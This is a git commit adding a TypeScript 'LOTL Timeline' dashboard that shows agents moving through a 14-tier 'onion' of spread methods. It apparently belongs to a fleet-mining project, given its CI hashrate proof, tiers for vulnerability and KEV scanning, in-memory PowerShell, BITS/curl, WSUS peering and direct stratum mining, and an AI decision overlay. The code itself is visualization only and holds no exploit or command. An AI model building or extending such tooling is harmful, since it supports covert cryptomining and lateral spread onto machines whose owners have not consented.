Add LOTL Timeline page for live tier progression visualization.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Operators get a dedicated Onion view with 14-tier stepper, fleet progress chips, and AI decision overlay when fleet AI control is enabled.
This commit is contained in:
133
server/web/src/help/lotlTimeline.ts
Normal file
133
server/web/src/help/lotlTimeline.ts
Normal file
@@ -0,0 +1,133 @@
|
||||
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
|
||||
import type { Agent } from '../types';
|
||||
import { formatLotlTierLabel, type TierAttempt } from '../types/lotl';
|
||||
|
||||
/** Per-tier state for the live onion timeline UI. */
|
||||
export type LotlTimelineTierState = 'pending' | 'trying' | 'success' | 'failed' | 'skipped';
|
||||
|
||||
export interface LotlTimelineTierRow {
|
||||
index: number;
|
||||
tier: string;
|
||||
label: string;
|
||||
hint: string;
|
||||
state: LotlTimelineTierState;
|
||||
attempt?: TierAttempt;
|
||||
}
|
||||
|
||||
export interface LotlTimelineModel {
|
||||
tiers: LotlTimelineTierRow[];
|
||||
total: number;
|
||||
succeeded: number;
|
||||
activeTier?: string;
|
||||
tryingTier?: string;
|
||||
}
|
||||
|
||||
/** Map attempt tier ids to spread onion tier ids (case-insensitive). */
|
||||
const TIER_ALIASES: Record<string, string> = {
|
||||
container: 'docker',
|
||||
docker_load: 'docker',
|
||||
vuln_probe: 'vuln_recon',
|
||||
kev_scan: 'vuln_recon',
|
||||
service_probe: 'vuln_recon',
|
||||
ps_memory: 'powershell',
|
||||
ps_inmemory: 'powershell',
|
||||
bits: 'bits_curl',
|
||||
curl: 'bits_curl',
|
||||
wsus: 'wsus_cache_peer',
|
||||
wsus_cache: 'wsus_cache_peer',
|
||||
webrtc: 'webrtc_mesh',
|
||||
mesh: 'webrtc_mesh',
|
||||
exe_subprocess: 'powershell',
|
||||
cpu_inprocess: 'dotnet',
|
||||
gpu_subprocess: 'dotnet',
|
||||
stratum_direct: 'dotnet',
|
||||
};
|
||||
|
||||
function normalizeTierKey(tier: string): string {
|
||||
return tier.trim().toLowerCase().replace(/[\s-]+/g, '_');
|
||||
}
|
||||
|
||||
function canonicalSpreadTier(tier: string): string {
|
||||
const key = normalizeTierKey(tier);
|
||||
return TIER_ALIASES[key] ?? key;
|
||||
}
|
||||
|
||||
function tierDocHint(tier: string): string {
|
||||
const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number];
|
||||
return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.hint ?? '';
|
||||
}
|
||||
|
||||
function tierLabel(tier: string): string {
|
||||
const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number];
|
||||
return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.label ?? formatLotlTierLabel(tier);
|
||||
}
|
||||
|
||||
function lastAttemptForTier(attempts: TierAttempt[], spreadTier: string): TierAttempt | undefined {
|
||||
const target = canonicalSpreadTier(spreadTier);
|
||||
for (let i = attempts.length - 1; i >= 0; i--) {
|
||||
if (canonicalSpreadTier(attempts[i].tier) === target) return attempts[i];
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
|
||||
export function resolveLotlTierOrder(policyTiers?: string[]): string[] {
|
||||
if (policyTiers?.length) return [...policyTiers];
|
||||
return [...DEFAULT_LOTL_ONION_TIERS];
|
||||
}
|
||||
|
||||
export function buildLotlTimelineModel(
|
||||
agent: Agent,
|
||||
order: string[],
|
||||
attempts: TierAttempt[],
|
||||
skipped: string[] = [],
|
||||
): LotlTimelineModel {
|
||||
const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s)));
|
||||
const activeTier = agent.lotl_tier?.trim() || undefined;
|
||||
const activeCanon = activeTier ? canonicalSpreadTier(activeTier) : undefined;
|
||||
const online = agent.status === 'online';
|
||||
|
||||
let tryingTier: string | undefined;
|
||||
if (online && activeCanon) {
|
||||
const last = lastAttemptForTier(attempts, activeCanon);
|
||||
if (!last?.ok) tryingTier = activeCanon;
|
||||
}
|
||||
|
||||
const tiers: LotlTimelineTierRow[] = order.map((tier, i) => {
|
||||
const key = canonicalSpreadTier(tier);
|
||||
const attempt = lastAttemptForTier(attempts, tier);
|
||||
let state: LotlTimelineTierState = 'pending';
|
||||
|
||||
if (skippedSet.has(key)) {
|
||||
state = 'skipped';
|
||||
} else if (tryingTier === key || (online && activeCanon === key && !attempt?.ok)) {
|
||||
state = 'trying';
|
||||
} else if (attempt?.ok) {
|
||||
state = 'success';
|
||||
} else if (attempt && !attempt.ok) {
|
||||
state = 'failed';
|
||||
}
|
||||
|
||||
return {
|
||||
index: i + 1,
|
||||
tier,
|
||||
label: tierLabel(tier),
|
||||
hint: tierDocHint(tier),
|
||||
state,
|
||||
attempt,
|
||||
};
|
||||
});
|
||||
|
||||
const succeeded = tiers.filter((t) => t.state === 'success').length;
|
||||
|
||||
return {
|
||||
tiers,
|
||||
total: order.length,
|
||||
succeeded,
|
||||
activeTier,
|
||||
tryingTier,
|
||||
};
|
||||
}
|
||||
|
||||
export function lotlTimelineProgressLabel(model: LotlTimelineModel): string {
|
||||
return `${model.succeeded}/${model.total}`;
|
||||
}
|
||||
@@ -83,6 +83,30 @@ export const PAGE_WEATHER: Record<string, PageWeatherConfig> = {
|
||||
gridDrift: 38,
|
||||
palette: 'default',
|
||||
},
|
||||
'/lotl-timeline': {
|
||||
vibe: 'crucible-embers',
|
||||
intensity: 0.82,
|
||||
speed: 0.38,
|
||||
pulse: 0.72,
|
||||
density: 0.88,
|
||||
linkStrength: 0.5,
|
||||
layerOpacity: 0.52,
|
||||
orbDrift: 18,
|
||||
gridDrift: 64,
|
||||
palette: 'crucible',
|
||||
},
|
||||
'/onion': {
|
||||
vibe: 'crucible-embers',
|
||||
intensity: 0.82,
|
||||
speed: 0.38,
|
||||
pulse: 0.72,
|
||||
density: 0.88,
|
||||
linkStrength: 0.5,
|
||||
layerOpacity: 0.52,
|
||||
orbDrift: 18,
|
||||
gridDrift: 64,
|
||||
palette: 'crucible',
|
||||
},
|
||||
'/crucible': {
|
||||
vibe: 'crucible-embers',
|
||||
intensity: 0.75,
|
||||
|
||||
Reference in New Issue
Block a user